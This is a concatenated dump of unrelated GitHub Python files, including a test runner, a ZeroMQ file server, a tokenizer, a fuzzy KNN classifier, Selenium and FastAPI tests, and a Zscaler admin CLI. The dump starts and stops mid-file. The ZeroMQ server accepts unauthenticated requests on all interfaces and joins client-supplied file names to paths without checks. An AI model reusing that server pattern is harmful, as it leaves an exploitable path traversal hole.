Exception):\n global failed, errors, tests\n result = Result.OK\n tests += 1\n if exc:\n result = Result.FAILED if isinstance(exc, AssertionError) else Result.ERROR\n if result == Result.FAILED:\n failed += 1\n else:\n errors += 1\n \n logger.log_test_info(func.__qualname__, result, exc)\n\n\n@require_init\ndef register_module_exec_error(module_path: str, exc_type: Types.Class, exc: Exception, tb: Types.Traceback):\n global errors, init, t_start\n errors += 1\n logger.log_module_exec_error(module_path, exc_type, exc, tb)\n\n\n@require_init\ndef exec_modules(module_paths: tuple, exec_name: str):\n global current_module\n with exec_context:\n for module_path in filter_modules(module_paths, only_modules, excluded_modules):\n current_module = Module(module_path)\n logger.log_module_info(module_path)\n \n try:\n runpy.run_path(module_path, init_globals=utilities, run_name=exec_name)\n\n for test in filter_tests(current_module, only_groups, excluded_groups):\n call_with_resources(test)\n\n except KeyboardInterrupt:\n break\n\n except SystemExit:\n break\n \n except Exception as exc:\n exc_type = type(exc)\n traceback = exc.__traceback__\n register_module_exec_error(module_path, exc_type, exc, traceback)\n\n\ndef run_current_module():\n if running or config_in_process or current_module is None:\n return\n \n initialize()\n \n with exec_context:\n try:\n for test in filter_tests(current_module, only_groups, excluded_groups):\n call_with_resources(test)\n \n except KeyboardInterrupt:\n return\n\n except SystemExit:\n return\n\n except Exception as exc:\n exc_type = type(exc)\n traceback = exc.__traceback__\n register_module_exec_error(current_module.path, exc_type, exc, traceback)\n return\n\n\ndef run_config(path: str, exec_name: str):\n global config_in_process\n config_in_process = True\n try:\n runpy.run_path(path, run_name=exec_name)\n\n finally:\n config_in_process = False\n","repo_name":"varajala/microtest","sub_path":"microtest/core/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"7345723971","text":"import base64\nimport zmq\nimport os, sys\n\nsocket = zmq.Context().socket(zmq.REP)\nsocket.bind('tcp://*:5555')\n\ntry:\n os.mkdir('Files')\nexcept:\n pass\n\ndef encodeFile(file):\n try:\n base64_image_b = open(file, 'rb').read()\n return base64_image_b\n except:\n return False\n\ndef saveFile(file, new_file_name):\n try:\n with open(new_file_name, 'wb') as new_file:\n new_file.write(file)\n new_file.close()\n except:\n pass\n\nwhile True:\n msg = socket.recv_multipart()\n order = msg[0].decode('utf-8')\n print(order)\n\n if order == 'Download':\n file_name = \"Files/\" + msg[1].decode('utf-8')\n encode_file_var = encodeFile(file_name)\n if encode_file_var == False:\n msg = [b'Empty']\n else:\n msg = [b'Ok', encode_file_var]\n socket.send_multipart(msg)\n elif order == 'Upload':\n file_data = msg[1]\n file_to_save_name = msg[2].decode('utf-8')\n saveFile(file_data, \"Files/\" + file_to_save_name)\n msg = [b'Ok']\n socket.send_multipart(msg)\n elif order == 'Listdir':\n dirs = os.listdir('Files/')\n msg = [b'Ok']\n for dir in dirs:\n msg.append(dir.encode('utf-8'))\n socket.send_multipart(msg)","repo_name":"leandhusar/Arquitectura-Cliente-Servidor","sub_path":"Tarea 1/Server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40082461902","text":"from enum import Enum, unique\nimport string\nfrom .tokenErrors import *\n\n@unique\nclass TokenType(str, Enum):\n\tNUMBER = \"0123456789.\" #last char is decimal separator\n\tKEYWORD = string.ascii_lowercase + NUMBER\n\tPLUS = \"+\"\n\tMINUS = \"-\"\n\tMUL = \"*\"\n\tDIV = \"/\"\n\tMOD = \"%\"\n\tPOW = \"^\"\n\tCOMMA = \",\"\n\tAFFECT = \"=\"\n\tEQUAL = \"==\"\n\tLESS = \"<\"\n\tGREATER = \">\"\n\tNOTEQUAL = \"<>\"\n\tLESSEQUAL = \"<=\"\n\tGREATEREQUAL = \">=\"\n\tLPAREN = \"(\"\n\tRPAREN = \")\"\n\tLBRACKET = \"[\"\n\tRBRACKET = \"]\"\n\tSEMICOLON = \";\"\n\tDIVIDE = \"|\"\n\n\nclass Token:\n\t\"\"\"\n\tThis class represents a token in the input text.\n\t\"\"\"\n\tdef __init__(self, type : TokenType, value : str, start : int) -> None:\n\t\t\"\"\"Token constructor\n\n\t\tArgs:\n\t\t\ttype (TokenType): type of the token\n\t\t\tvalue (str): value taken by the token\n\t\t\tstart (int): start of the token for error reporting\n\t\t\"\"\"\n\t\tself.checkTokenType(type)\n\t\tself._type = type\n\t\tself._value = value\n\t\tself._start = 0\n\t\tself.start = start\n\t\n\t@property\n\tdef value(self) -> str:\n\t\treturn self._value\n\t\n\t@value.setter\n\tdef value(self, value : str) -> None:\n\t\tself._value = value\n\t\tself.end = self.start + len(str(value))\n\n\t@property\n\tdef type(self) -> TokenType:\n\t\treturn self._type\n\t\n\t@type.setter\n\tdef type(self, type : TokenType) -> None:\n\t\tself.checkTokenType(type)\n\t\tself._type = type\n\n\t@property\n\tdef start(self) -> int:\n\t\treturn self._start\n\t\n\t@start.setter\n\tdef start(self, start : int) -> None:\n\t\tself._start = start\n\t\tself.end = self.start + len(str(self.value))\n\n\tdef checkTokenType(self, token_type : TokenType) -> None:\n\t\t\"\"\"Check if a given value is a TokenType and if it is valid\n\t\ttokentype value.\n\n\t\tArgs:\n\t\t\ttoken_type (TokenType): value to test\n\n\t\tRaises:\n\t\t\tTokenTypeError: If the value is not a TokenType\n\t\t\tTokenTypeError: If the value is not a valid TokenType\n\t\t\"\"\"\n\t\tif type(token_type) != TokenType:\n\t\t\traise TokenTypeError(message=f\"{token_type} is not a TokenType\")\n\t\tif not token_type in TokenType:\n\t\t\traise TokenTypeError(message=f\"{token_type} is not a valid TokenType\")\n\t\n\tdef check_if_mergeable(self, token : \"Token\") -> None:\n\t\t\"\"\"Check if two tokens can be merged.\n\n\t\tArgs:\n\t\t\ttoken (Token): token to merge with this token\n\n\t\tRaises:\n\t\t\tMergingError: if the tokens cannot be merged\n\t\t\"\"\"\n\t\tif token.start != self.end:\n\t\t\traise MergingError(self, token)\n\t\t\n\t\tif token.type != self.type:\n\t\t\traise TokenTypeError(self, token)\n\t\n\tdef __add__(self, token) -> \"Token\":\n\t\t\"\"\"Merge two tokens or add a string to the token\n\n\t\tArgs:\n\t\t\ttoken (Token | str): token to merge with this token or a string to add\n\n\t\tRaises:\n\t\t\tTypeError: if the token is not a Token or a string\n\n\t\tReturns:\n\t\t\tToken: the resulting token after the merge\n\t\t\"\"\"\n\t\tif type(token) == Token:\n\t\t\tself.check_if_mergeable(token)\n\t\t\treturn Token(self.type, self.value + token.value, self.start)\n\t\telif type(token) == str:\n\t\t\treturn Token(self.type, self.value + token, self.start)\n\t\telse:\n\t\t\traise TypeError(f\"Cannot add {type(token)} to {type(self)}\")\n\t\n\tdef __iadd__(self, token) -> \"Token\":\n\t\t\"\"\"Merge token with this token or add a string to the token\n\n\t\tArgs:\n\t\t\ttoken (Token | str): token to merge with this token or a string to add\n\n\t\tRaises:\n\t\t\tTypeError: if the token is not a Token or a string\n\n\t\tReturns:\n\t\t\tToken: the resulting token after the merge\n\t\t\"\"\"\n\t\tif type(token) == Token:\n\t\t\tself.check_if_mergeable(token)\n\t\t\tself.value += token.value\n\t\telif type(token) == str:\n\t\t\tself.value += token\n\t\telse:\n\t\t\traise TypeError(f\"Cannot add {type(token)} to {type(self)}\")\n\n\t\treturn self\n\t\n\tdef __eq__(self, other : \"Token\" ) -> bool:\n\t\t\"\"\"Check if two tokens are equal\n\n\t\tArgs:\n\t\t\tother (Token | TokenType): token to compare to this token\n\n\t\tReturns:\n\t\t\tbool: True if the tokens are equal, False otherwise\n\t\t\"\"\"\n\t\tif type(other) == Token:\n\t\t\treturn self.type == other.type and self.value == other.value and self.start == other.start\n\t\telse:\n\t\t\treturn self.type == other\n\n\tdef __str__(self):\n\t\treturn f\"({self.type.name}, {self.value}, {self.start})\"\n\t\n\tdef __repr__(self):\n\t\treturn self.__str__()\n\n\tdef __hash__(self):\n\t\treturn hash(self.__str__())\n\n# test error handling\nif __name__ == \"__main__\":\n\tfirst = Token(TokenType.NUMBER, \"1\", 0)\n\tsecond = Token(TokenType.PLUS, \"2\", 1)\n\tthird = Token(TokenType.NUMBER, \"3\", 2)\n\tfourth = Token(TokenType.NUMBER, \"4\", 1)\n\tfifth = Token(TokenType.NUMBER, \"5\", 3)\n\n\tresult = False\n\tprint(\"Testing MergingError\")\n\ttry:\n\t\tfirst + third\n\texcept MergingError as e:\n\t\tresult = True\n\t\tprint(e)\n\t\n\tassert result, \"MergingError not raised\"\n\n\tresult = False\n\tprint(\"Testing TokenTypeError\")\n\ttry:\n\t\tfirst + second\n\texcept TokenTypeError as e:\n\t\tresult = True\n\t\tprint(e)\n\t\n\tassert result, \"TokenTypeError not raised\"\n\n\tresult = False\n\tprint(\"Testing TokenTypeError with invalid type\")\n\ttry:\n\t\ttest = Token(None, \"1\", 0)\n\texcept TokenTypeError as e:\n\t\tresult = True\n\t\tprint(e)\n\t\n\tassert result, \"TokenTypeError not raised\"\n\n\n\tthird += fifth\n\tassert third.value == \"35\", \"Token value not updated\"\n\tassert third.start == 2, \"Token start is modified\"\n\tassert third.end == 4, \"Token end not updated\"\n\tassert third.type == TokenType.NUMBER, \"Token modified\"\n\n\tfifth += \"6\"\n\tassert fifth.value == \"56\", \"Token value not updated\"\n\tassert fifth.start == 3, \"Token start is modified\"\n\tassert fifth.end == 5, \"Token end not updated\"\n\tassert fifth.type == TokenType.NUMBER, \"Token modified\"","repo_name":"Robotechnic/math-interpreter","sub_path":"tokens/token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":5287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19104601813","text":"mlb = ['ARI', 'ATL', 'BAL', 'BOS', 'CHC', 'CHW', 'CIN', 'CLE', 'COL', 'DET', 'HOU', 'KCR', 'LAA', 'LAD', 'MIA', 'MIL', 'MIN', 'NYM', 'NYY', 'OAK', 'PHI', 'PIT', 'SDP', 'SFG', 'SEA', 'STL', 'TBR', 'TEX', 'TOR', 'WSN']\n\nal = ['BAL', 'BOS', 'CHW', 'CLE', 'DET', 'HOU', 'KCR', 'LAA', 'MIN', 'NYY', 'OAK', 'SEA', 'TBR', 'TEX', 'TOR']\n\nal_east = ['BAL', 'BOS', 'NYY', 'TBR', 'TOR']\n\nal_central = ['CHW', 'CLE', 'DET', 'KCR', 'MIN']\n\nal_west = ['HOU', 'LAA', 'OAK', 'SEA', 'TEX']\n\nnl = ['ARI', 'ATL', 'CHC', 'CIN', 'COL', 'LAD', 'MIA', 'MIL', 'NYM', 'PHI', 'PIT', 'SDP', 'SFG', 'STL', 'WSN']\n\nnl_east = ['ATL', 'MIA', 'MIL', 'NYM', 'PHI', 'WSN']\n\nnl_central = ['CHC', 'CIN', 'MIL', 'PIT', 'STL']\n\nnl_west = ['ARI', 'COL', 'LAD', 'SDP', 'SFG']\n","repo_name":"pfe1223/calvinball_jupyter","sub_path":"teams.py","file_name":"teams.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"dv","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27756395015","text":"\n#!/usr/bin/env python\n\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn import preprocessing\nfrom sklearn.datasets import load_iris\n\ndef odl(x,newdata_ii): \n return(np.sqrt(sum(x.subtract(newdata_ii).apply(float)**2)));\n\ndef get_kneighbours(decision_table,newdata_ii,k,method_type):\n array_d=[]\n for i in range(len(decision_table.iloc[:,0])):\n array_d.append(odl(decision_table.iloc[i,:-1],newdata_ii))\n nearest_dt=pd.concat([decision_table,pd.DataFrame(array_d)],axis=1)\n nearest_dt.dropna()\n return(nearest_dt)\n\ndef calc_membership(k_averDist,sum_denominator,nearest_dt,num_class,num_Class,control,type_=\"gradual\"):\n #numClass[1, i] <- nrow(nearest.dt[which(nearest.dt[,(ncol(nearest.dt) - 1)] == i), ,drop = FALSE])\n ## calculate membership of each class based on Keller et. al.'s technique.\n miu_class=[]\n m=control[\"m\"]\n #res=pd.concat([pd.DataFrame([1,5,2]),pd.DataFrame([1,2,3])],axis=0)\n #miu_class=miu_class.append(pd.DataFrame([1,5,2]).T)\n #pd.DataFrame([1,5,2])\n #miu_class.loc[len(miu_class)]=[1,2,3]\n \n array_tau=[]\n for j in range(num_class):\n array_miu=[]\n for i in range(len(nearest_dt)):\n if(nearest_dt[i,(len(nearest_dt[0])-1-1)]==j):\n if(type_==\"gradual\"):\n w=(0.51+(num_Class[int(nearest_dt[i,len(nearest_dt[0])-1-1])]/float(len(nearest_dt))*0.49))\n elif(type_==\"crisp\"):\n w=1\n \n else:\n if(type_==\"gradual\"):\n w=num_Class[j]/float(len(nearest_dt))*0.49\n elif(type_==\"crisp\"):\n w=0\n array_miu.append(w*1/np.power(nearest_dt[i,len(nearest_dt[0])-1],(2/(m-1)))/sum_denominator)\n miu1=sum(array_miu)\n temp1=sum(miu1/(1+k_averDist*nearest_dt[:,-1]**(2/(m-1))))\n array_tau.append((1/float(len(nearest_dt)))*temp1)\n miu_class=array_tau\n #suma miu class musi być równa 1\n return(miu_class) \n\n\n# Funkcja Pomiar podobieństwa\n# @param nearest_dt matrix of data nearest neighobur\n# @control a dictionary of parameters \n\ndef calc_similiarity_degree(k_averDist,nearest_dt,control,num_Class):\n num_class=control[\"num_class\"]\n m=control[\"m\"]\n # calculate membership of newdata to each class\n ## miu.class is a matrix (k, num.class) where k is number of neighbor\n sum_denominator=sum(1/nearest_dt[:,len(nearest_dt[1])-1]**(2/(m-1)))\n miu_clas=calc_membership(k_averDist=k_averDist,sum_denominator=sum_denominator,nearest_dt=nearest_dt,num_class=num_class,num_Class=num_Class,control=control,type_=\"gradual\")\n ## calculate sum on denominator of the similarity eq.\n ## calculate membership function of class for determining class of newdata\n return (miu_clas)\n\n\n\ndef C_FRNN_O_FRST(decision_table,newdata,control):\n m=control[\"m\"]\n type=control[\"type_membership\"]\n num_class=control[\"num_class\"]\n object=decision_table[:,:-1]\n decision_scale_nom=preprocessing.MinMaxScaler().fit(object)\n decsion_table_norm=decision_scale_nom.transform(object)\n newdata=decision_scale_nom.transform(newdata)\n result_decision_table=decision_table[:,len(decision_table[0])-1]\n dec_table=np.c_[decsion_table_norm,result_decision_table]\n num_inputvar=float(len(dec_table[0])) - 1\n num_instances=float(len(dec_table))\n array_w=[]\n for i in range(num_class):\n array_w.append(sum(dec_table[:,len(dec_table[0])-1]==i)) \n num_Class=array_w\n res_class=[]\n for i in range(len(newdata)):\n distance=[]\n for j in range(dec_table.shape[0]):\n distance.append(np.power(np.sum(np.power(dec_table[j,:-1]-newdata[i,:],2)),0.5))\n k_averDist=1/((1/num_instances)*np.sum(np.power(distance,2/(m-1))))\n ## calculate and get K-nearest neighbor (in this case, K = num.instances)\n nearest_dt=np.c_[dec_table,distance]\n nearest_dt[nearest_dt[:,len(nearest_dt[1])-1]==0]=0.00001\n ## calculate membership of each class based on nearest.dt (in this case: all training data)\n miu=calc_similiarity_degree(k_averDist,nearest_dt,control,num_Class)\n ## calculate fuzzy-rough ownership function\n \n res_class.append(np.argmax(miu))\n return_class=pd.DataFrame(res_class)\n return(return_class)\n\nimport time\nimport cProfile\nimport pstats\nprint(\"Init\")\ntic=time.clock()\ndata = load_iris()\ndata_x=pd.DataFrame(data.data)\nwynik_x=pd.DataFrame(data.target)\ndata=pd.concat([data_x,wynik_x],axis=1)\ndecision_table_iris=data.sample(frac=0.7)\nnewdata_iris=data.loc[~data.index.isin(decision_table_iris.index)]\nwyniki_newdata=newdata_iris.iloc[:,-1]\nwyniki_newdata.index=range(45)\nnewdata_iris=newdata_iris.iloc[:,:-1]\ncontrol={\"num_class\":3,\"m\":3,\"type_membership\":\"gradual\"}\ntoc=time.clock()\nprint(toc-tic)\n\ntic=time.clock()\ndecision_table_iris=np.array(decision_table_iris)\nnewdata_iris=np.array(newdata_iris)\nwynik2=C_FRNN_O_FRST(decision_table_iris,newdata_iris,control)\ntoc=time.clock()\nprint(\"FRNN\",toc-tic)\nwynik2\n","repo_name":"wpaturaj/FuzzyKNN","sub_path":"FRNN-newversion.py","file_name":"FRNN-newversion.py","file_ext":"py","file_size_in_byte":5030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32139389559","text":"from fastapi import FastAPI\nfrom starlette.status import HTTP_200_OK\nfrom starlette.testclient import TestClient\n\n\ndef test_post_tags(app: FastAPI) -> None:\n client = TestClient(app)\n\n request = {\"data_actions\": {0: {\"remove\": True}}}\n resp = client.post(\"/tags\", json=request)\n assert resp.status_code == HTTP_200_OK, resp.text\n data = resp.json()\n assert data == {\n \"dataActions\": [\n {\n \"relabel\": False,\n \"considerNewClass\": False,\n \"remove\": True,\n \"augmentWithSimilar\": False,\n \"investigate\": False,\n }\n ]\n }\n","repo_name":"zia-hasan/azimuth","sub_path":"tests/test_routers/test_tags.py","file_name":"test_tags.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13534421355","text":"import time\nimport HtmlTestRunner\nimport unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nclass myTestAddToCart(unittest.TestCase):\n\n def testAddToCart(self):\n driver = webdriver.Chrome(executable_path=r'C:\\\\Users\\\\cristian_parada\\\\Desktop\\\\Automatizacion_Test_Cases_Ecommerce\\\\chromedriver.exe')\n driver.get('https://www.saucedemo.com/')\n time.sleep(2)\n\n usuario = driver.find_element_by_id('user-name')\n usuario.clear()\n usuario.send_keys('standard_user')\n\n\n contrasena = driver.find_element_by_id('password')\n contrasena.clear()\n contrasena.send_keys('secret_sauce')\n time.sleep(3)\n\n driver.find_element_by_id('login-button').click()\n time.sleep(2)\n\n#Agregando producto a carrito de compras dando click a boton (Producto Mochila)\n driver.find_element_by_id('add-to-cart-sauce-labs-backpack').click()\n time.sleep(2)\n#Realizar Scroll en la pagina para ver que se elige el otro producto\n driver.execute_script('window.scrollTo(0,document.body.scrollHeight)')\n time.sleep(3)\n#Agregando otro producto a carrito de compras dando click a boton (T-Shirt Roja)\n driver.find_element_by_id('add-to-cart-test.allthethings()-t-shirt-(red)').click()\n time.sleep(3)\n# Realizar Scroll en la pagina para regresar arriba\n driver.find_element_by_tag_name('body').send_keys(Keys.CONTROL + Keys.HOME)\n #driver.execute_script('window.scrollTo(0,document.body.scrollHeight)')\n time.sleep(4)\n#Verificar el carrito de compras con productos seleccionados dando click a icono de carrito de compras.\n driver.find_element_by_id('shopping_cart_container').click()\n time.sleep(3)\n#Retornar a pantalla de productos dando click a boton\n driver.find_element_by_id('continue-shopping').click()\n time.sleep(2)\n driver.stop_client()\n driver.quit()\n\nif __name__ == '__main__':\n unittest.main(testRunner=HtmlTestRunner.HTMLTestRunner(output=r'C:\\Users\\cristian_parada\\Desktop\\Automatizacion_Test_Cases_Ecommerce\\Reports'))\n","repo_name":"w2k31984/Swag_Labs_Automation_QA","sub_path":"Test_Cases/Agregar_Producto_Carrito_Compras.py","file_name":"Agregar_Producto_Carrito_Compras.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12947821194","text":"fibonacci = [0,1] \ntestes = int(input())\nfor i in range(testes):\n posicao = int(input())\n if posicao <=1:\n print(f'Fib({posicao}) = {fibonacci[posicao]}')\n else:\n for value in range(2,(posicao+1)):\n fibonacci.append(fibonacci[-2]+fibonacci[-1])\n print(f'Fib({posicao}) = {fibonacci[posicao]}')","repo_name":"MatheusA199/beecrowd-puzzle-python","sub_path":"1176-Python.py","file_name":"1176-Python.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25152811179","text":"from typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import Optional\n\nimport typer\n\nfrom zscaler_admin_app.utils import fetch_adminroles\nfrom zscaler_admin_app.utils import fetch_adminrole_names\nfrom zscaler_admin_app.utils import fetch_adminusers\nfrom zscaler_admin_app.utils import fetch_adminuser_names\nfrom zscaler_admin_app.utils import create_new_adminuser\nfrom zscaler_admin_app.utils import fetch_url_categories\nfrom zscaler_admin_app.utils import fetch_url_category_names\nfrom zscaler_admin_app.utils import create_custom_url_category\nfrom zscaler_admin_app.utils import fetch_urlfiltering_rule_names\nfrom zscaler_admin_app.utils import fetch_urlfiltering_rule_details\nfrom zscaler_admin_app.utils import create_urlfiltering_rule\nfrom zscaler_admin_app.utils import fetch_users\nfrom zscaler_admin_app.utils import fetch_user_summary\nfrom zscaler_admin_app.utils import fetch_departments\nfrom zscaler_admin_app.utils import fetch_department_summary\nfrom zscaler_admin_app.utils import fetch_groups\nfrom zscaler_admin_app.utils import fetch_group_summary\nfrom zscaler_admin_app.utils import update_urlfiltering_rule\n\n\napp = typer.Typer()\n\n\n@app.command()\ndef adminrole(\n cmd: str,\n all: bool = False,\n tenant: Optional[str] = None,\n):\n if cmd == \"ls\":\n if all:\n response: Dict[str, List[Any]] = fetch_adminroles(tenant=tenant)\n if tenant is not None:\n typer.echo(f\"# Tenant: {tenant}\")\n for role in response[tenant]:\n typer.echo(role)\n else:\n for tenant_name in response.keys():\n typer.echo(f\"# Tenant: {tenant_name}\")\n for role in response[tenant_name]:\n typer.echo(role)\n else:\n response: Dict[str, List[str]] = fetch_adminrole_names(tenant=tenant)\n if tenant is not None:\n typer.echo(f\"# Tenant: {tenant}\")\n for role in response[tenant]:\n typer.echo(f\" - {role}\")\n else:\n for tenant_name in response.keys():\n typer.echo(f\"# Tenant: {tenant_name}\")\n for role in response[tenant_name]:\n typer.echo(f\" - {role}\")\n\n\n@app.command()\ndef adminuser(\n cmd: str,\n all: bool = False,\n file: Optional[str] = None,\n loginname: Optional[str] = None,\n username: Optional[str] = None,\n email: Optional[str] = None,\n password: Optional[str] = None,\n role: Optional[str] = None,\n tenant: Optional[str] = None,\n):\n if cmd == \"ls\":\n if all:\n response: Dict[str, Dict[str, Any]] = fetch_adminusers(tenant=tenant)\n if tenant is not None:\n typer.echo(f\"# Tenant: {tenant}\")\n for adminuser in response[tenant]:\n typer.echo(adminuser)\n else:\n for tenant_name in response.keys():\n typer.echo(f\"# Tenant: {tenant_name}\")\n for user in response[tenant_name]:\n typer.echo(f\" - {user}\")\n else:\n response: Dict[str, Any] = fetch_adminuser_names(tenant=tenant)\n if tenant is not None:\n typer.echo(f\"# Tenant: {tenant}\")\n for user in response[tenant]:\n typer.echo(f\" - {user}\")\n else:\n for tenant_name in response.keys():\n typer.echo(f\"# Tenant: {tenant_name}\")\n for user in response[tenant_name]:\n typer.echo(f\" - {user}\")\n if cmd == \"create\":\n if tenant is None:\n typer.echo(\"Please set `--tenant` to create adminuser\")\n return\n if file is not None:\n message: str = create_new_adminuser(source_file_path=file, tenant=tenant)\n typer.echo(message)\n elif loginname is username is email is password is role is not None:\n message: str = create_new_adminuser(\n login_name=loginname,\n user_name=username,\n email=email,\n password=password,\n role_name=role,\n tenant=tenant,\n )\n typer.echo(message)\n # else:\n # TODO: create prompt\n # login_name = typer.prompt(\"What's this URL Category Name?\")\n\n\n@app.command()\ndef usermng(\n cmd: str,\n type: str,\n all: bool = False,\n tenant: Optional[str] = None,\n):\n if cmd == \"ls\":\n if all:\n if type == \"user\":\n users = fetch_users(tenant=tenant)\n typer.echo(users)\n elif type == \"department\" or type == \"dpt\":\n departments = fetch_departments(tenant=tenant)\n typer.echo(departments)\n elif type == \"groups\" or type == \"grp\":\n groups = fetch_groups(tenant=tenant)\n typer.echo(groups)\n else:\n if type == \"user\":\n users = fetch_user_summary(tenant=tenant)\n for tenant_name in users.keys():\n typer.echo(f\"# {tenant_name}\")\n for user in users[tenant_name]:\n typer.echo(f\" - {user}\")\n elif type == \"department\" or type == \"dpt\":\n departments = fetch_department_summary(tenant=tenant)\n for tenant_name in departments.keys():\n typer.echo(f\"# {tenant_name}\")\n for department in departments[tenant_name]:\n typer.echo(f\" - {department}\")\n elif type == \"groups\" or type == \"grp\":\n groups = fetch_group_summary(tenant=tenant)\n for tenant_name in groups.keys():\n typer.echo(f\"# {tenant_name}\")\n for group in groups[tenant_name]:\n typer.echo(f\" - {group}\")\n\n\n@app.command()\ndef urlcategory(\n cmd: str,\n all: bool = False,\n tenant: Optional[str] = None,\n file: Optional[str] = None,\n name: Optional[str] = None,\n urls: Optional[List[str]] = None,\n dbcategorizedurls: Optional[List[str]] = None,\n description: Optional[str] = None,\n):\n if cmd == \"ls\":\n if all:\n response: Dict[str, Any] = fetch_url_categories(tenant=tenant)\n for tenant_name in response.keys():\n typer.echo(f\"# Tenant: {tenant_name}\")\n for urlcategory in response[tenant_name]:\n typer.echo(urlcategory)\n else:\n response: Dict[str, Any] = fetch_url_category_names(tenant=tenant)\n for tenant_name in response.keys():\n typer.echo(f\"# Tenant: {tenant_name}\")\n for urlcategory in response[tenant_name]:\n typer.echo(f\" - {urlcategory}\")\n\n if cmd == \"create\":\n if file:\n message = create_custom_url_category(source_file_path=file, tenant=tenant)\n typer.echo(message)\n elif name and urls:\n typer.echo(name, urls)\n message = create_custom_url_category(\n configured_name=name,\n urls=urls,\n db_categorized_urls=dbcategorizedurls,\n description=description,\n tenant=tenant,\n )\n typer.echo(message)\n else:\n name = typer.prompt(\"What's this URL Category Name?\")\n urls = typer.prompt(\"Which URL do you include? For multiple,include space.\")\n urls = urls.split()\n description = typer.prompt(\n \"Please write a description of this URL Category.\"\n )\n message = create_custom_url_category(\n configured_name=name,\n urls=urls,\n db_categorized_urls=dbcategorizedurls,\n description=description,\n tenant=tenant,\n )\n typer.echo(message)\n\n\n@app.command()\ndef urlfilter(\n cmd: str,\n all: bool = False,\n file: Optional[str] = None,\n tenant: Optional[str] = None,\n):\n if cmd == \"ls\":\n if all:\n response: Dict[str, Any] = fetch_urlfiltering_rule_details(tenant=tenant)\n for tenant_name in response.keys():\n typer.echo(f\"# Tenant: {tenant_name}\")\n for rule in response[tenant_name]:\n typer.echo(rule)\n else:\n response: Dict[str, Any] = fetch_urlfiltering_rule_names(tenant=tenant)\n for tenant_name in response.keys():\n typer.echo(f\"# Tenant: {tenant_name}\")\n for rule in response[tenant_name]:\n typer.echo(f\" - {rule}\")\n\n if cmd == \"create\":\n if tenant is None:\n typer.echo(\"To create new url filter rule, set `--tenant`\")\n return\n if file is None:\n typer.echo(\"To create new url filter rule, set `--file`\")\n return\n message: Dict[str, Any] = create_urlfiltering_rule(\n source_file_path=file,\n tenant=tenant,\n )\n typer.echo(message)\n\n if cmd == \"update\":\n if file is not None:\n message: str = update_urlfiltering_rule(\n tenant=tenant, source_file_path=file\n )\n typer.echo(message)\n else:\n typer.echo(\"Please set `--file` option\")\n\n\n@app.command()\ndef sp(tenant: Optional[str]):\n for file in [\n \"./sample/ssl_bypass_cateogry_file.json\",\n \"./sample/white_list_category_file.json\",\n \"./sample/black_list_category_file.json\",\n ]:\n urlcategory(cmd=\"create\", tenant=tenant, file=file)\n\n for file in [\n \"./sample/white_list_urlfiltering_file.json\",\n \"./sample/black_list_urlfiltering_file.json\",\n ]:\n urlfilter(cmd=\"create\", tenant=tenant, file=file)\n\n urlfilter(\n cmd=\"update\",\n tenant=tenant,\n file=\"./sample/enable_existing_rule_file.json\",\n )\n","repo_name":"yuta519/zscaler-admin-app","sub_path":"zscaler_admin_app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8897116909","text":"from transaction import commit\nfrom zope import event, component\nfrom zope.proxy import removeAllProxies\nfrom zope.security.proxy import removeSecurityProxy\nfrom zope.lifecycleevent import ObjectCreatedEvent, ObjectModifiedEvent\nfrom zope.traversing.interfaces import IContainmentRoot\nfrom zope.app.component.hooks import getSite, setSite\nfrom zope.app.component.site import LocalSiteManager, SiteManagementFolder\nfrom zope.app.security.interfaces import IEveryoneGroup, IAuthenticatedGroup\nfrom zope.securitypolicy.interfaces import Allow\nfrom zope.securitypolicy.interfaces import IRolePermissionManager\nfrom zope.securitypolicy.interfaces import IPrincipalPermissionManager\n\nfrom zope.app.intid.interfaces import IIntIds\nfrom zope.app.principalannotation.interfaces import IPrincipalAnnotationUtility\n\nfrom z3c.configurator import configure, ConfigurationPluginBase\n\nfrom zojax.product.interfaces import IProduct\nfrom zojax.skintool.interfaces import ISkinTool\nfrom zojax.controlpanel.interfaces import IConfiglet\nfrom zojax.content.space.interfaces import IWorkspaceFactory\nfrom zojax.authentication.interfaces import \\\n IAuthenticationConfiglet, IAuthenticatorPluginFactory\n\nfrom zojax.principal.roles.role import PortalRole\nfrom zojax.principal.roles.interfaces import IPortalRoles, IDefaultPortalRole\n\nfrom interfaces import IPortal\n\n\ndef reconfigurePortal(app, *args):\n portal = removeSecurityProxy(app)\n configure(portal, {})\n\n\nclass BasicPortalConfiguration(ConfigurationPluginBase):\n component.adapts(IPortal)\n\n def __call__(self, data):\n portal = self.context\n\n # create site manager\n try:\n sm = portal.getSiteManager()\n except:\n sm = None\n\n if sm is None:\n sm = LocalSiteManager(portal)\n portal.setSiteManager(sm)\n\n setSite(portal)\n\n if 'system' not in sm:\n system = SiteManagementFolder()\n event.notify(ObjectCreatedEvent(system))\n sm['system'] = system\n else:\n system = sm['system']\n\n # IIntId utility\n if 'ids' not in system:\n ids = component.createObject('zope.app.intid.IntIds')\n event.notify(ObjectCreatedEvent(ids))\n system['ids'] = ids\n else:\n system['ids'].__init__()\n\n ids = system['ids']\n\n sm.registerUtility(system['ids'], 